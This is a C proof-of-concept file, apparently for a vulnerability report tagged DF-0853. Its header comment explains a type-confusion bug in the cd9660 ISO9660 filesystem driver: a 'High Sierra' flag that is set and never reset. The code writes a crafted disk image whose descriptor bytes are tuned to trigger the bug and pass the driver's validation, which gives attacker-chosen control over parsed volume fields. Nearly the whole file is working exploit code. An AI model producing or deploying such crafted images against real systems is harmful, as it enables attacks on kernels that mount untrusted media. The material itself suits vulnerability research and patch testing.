DF-0853 / make_crafted_iso.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | /* * DF-0853 PoC: high_sierra flag is sticky -> type confusion. * * cd9660_vfsops.c:334-340 sets high_sierra=1 when any volume descriptor * matches the Sierra id ("CDROM") but NEVER resets it. The flag is then * consulted at cd9660_vfsops.c:342 to choose whether to read vdp->type * (standard) or vdp->type_sierra (Sierra) for *every* subsequent descriptor, * and at :396-417 to choose between pri vs pri_sierra field offsets. Since * pri and pri_sierra are both casts of the SAME buffer (:347-349), reading * the wrong one parses a Standard ISO9660 PVD at Sierra offsets -- classic * type confusion. The kernel then prints "cd9660: High Sierra Format" * (cd9660_vfsops.c:503) and sets iso_ftype = ISO_FTYPE_HIGH_SIERRA for an * image whose actual primary descriptor is Standard ISO9660. * * This program emits a 100-sector image that triggers the confusion: * * sector 16 : Sierra decoy descriptor * vdp->id_sierra (off 9-13) = "CDROM" -> high_sierra = 1 * vdp->type_sierra (off 8) = 3 -> default case * sector 17 : Standard ISO9660 PVD * vdp->id (off 1-5) = "CD001" -> standard match, * does NOT touch * high_sierra * byte off 8 (system_id[0]) = 1 -> type_sierra reads * 1 = ISO_VD_PRIMARY * -> pri and pri_sierra both point here * -> bytes 136-137 = 0x00 0x08 so that the Sierra-cast * logical_block_size (off 136-139 of the PVD) decodes to * isonum_723 = 0x0800 = 2048 -- passes the * DEV_BSIZE..MAXBSIZE power-of-2 validation at :401. * sector 18 : Standard VD_END * vdp->id (off 1-5) = "CD001" -> standard match * byte off 8 (system_id[0]) = 255 -> type_sierra reads * 255 = ISO_VD_END * -> exits the descriptor loop * * Observable effect on the UNPATCHED kernel: * - kernel logs "cd9660: High Sierra Format" to dmesg for a Standard ISO. * - iso_ftype is set to ISO_FTYPE_HIGH_SIERRA, which selects different * metadata-parsing routines (cd9660_vnops.c cd9660_defattr/deftstamp). * * No OOB memory access happens in cd9660_vfsops.c itself: all bread()s are * device-bounded and the bcopy of rootp (34 bytes from PVD offset 180) stays * inside the 2048-byte buffer. The damage is *type confusion*: the kernel * drives downstream parsing with fields read at the wrong offsets, so an * attacker-chosen ISO controls logical_block_size, volume_space_size, * root_extent, root_size, etc., in a way the standard validation never * intended. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #define SECTOR 2048 static uint8_t img[100 * SECTOR]; /* zero-initialised */ /* 733: LE u32 then BE u32 (8 bytes) */ static void put733(uint8_t *p, uint32_t v) { p[0] = v & 0xff; p[1] = (v >> 8) & 0xff; p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff; p[4] = (v >> 24) & 0xff; p[5] = (v >> 16) & 0xff; p[6] = (v >> 8) & 0xff; p[7] = v & 0xff; } /* 723: LE u16 then BE u16 (4 bytes) */ static void put723(uint8_t *p, uint16_t v) { p[0] = v & 0xff; p[1] = (v >> 8) & 0xff; p[2] = (v >> 8) & 0xff; p[3] = v & 0xff; } int main(int argc, char **argv) { const char *out = argc > 1 ? argv[1] : "crafted.iso"; /* ---- sector 16: Sierra decoy -------------------------------------- */ uint8_t *s = img + 16 * SECTOR; s[0] = 0; /* vdp->type (don't care) */ /* vdp->id (off 1-5): deliberately NOT "CD001" */ memset(s + 1, 0, 5); s[6] = 0; /* version (don't care) */ s[7] = 0; /* unused */ s[8] = 3; /* vdp->type_sierra=3 -> default case */ memcpy(s + 9, "CDROM", 5); /* vdp->id_sierra -> high_sierra = 1 */ s[14] = 1; /* version_sierra */ /* ---- sector 17: Standard ISO9660 PVD ------------------------------ */ s = img + 17 * SECTOR; s[0] = 1; /* type = ISO_VD_PRIMARY (standard) */ memcpy(s + 1, "CD001", 5); /* id -> standard match, no high_sierra touch */ s[6] = 1; /* version */ s[7] = 0; /* unused1 */ s[8] = 1; /* system_id[0]=1 -> vdp->type_sierra reads 1=PRIMARY */ /* standard logical_block_size @ off 128-131 = 2048 */ put723(s + 128, 2048); /* standard path_table_size @ off 132-139 (733). Its BE half overlaps * the Sierra-cast pri_sierra->logical_block_size (off 136-139). Force * the Sierra-cast read to 2048 (0x0800 LE): bytes 136-137 = 0x00 0x08. */ s[132] = 0x10; s[133] = 0; s[134] = 0; s[135] = 0; s[136] = 0x00; s[137] = 0x08; s[138] = 0; s[139] = 0; /* standard volume_space_size @ off 80-87 (733) */ put733(s + 80, 100); /* standard root_directory_record @ off 156-189: leave mostly zero; * length byte = 34 so it parses as a valid record. */ s[156] = 34; /* ---- sector 18: Standard VD_END terminator ------------------------ */ s = img + 18 * SECTOR; s[0] = 255; /* type = ISO_VD_END (standard) */ memcpy(s + 1, "CD001", 5); /* id -> standard match */ s[6] = 1; /* version */ s[7] = 0; s[8] = 255; /* system_id[0]=255 -> type_sierra reads 255=END */ FILE *f = fopen(out, "wb"); if (!f) { perror(out); return 1; } fwrite(img, 1, sizeof(img), f); fclose(f); printf("DF-0853: wrote %s (%zu bytes)\n", out, sizeof(img)); return 0; } |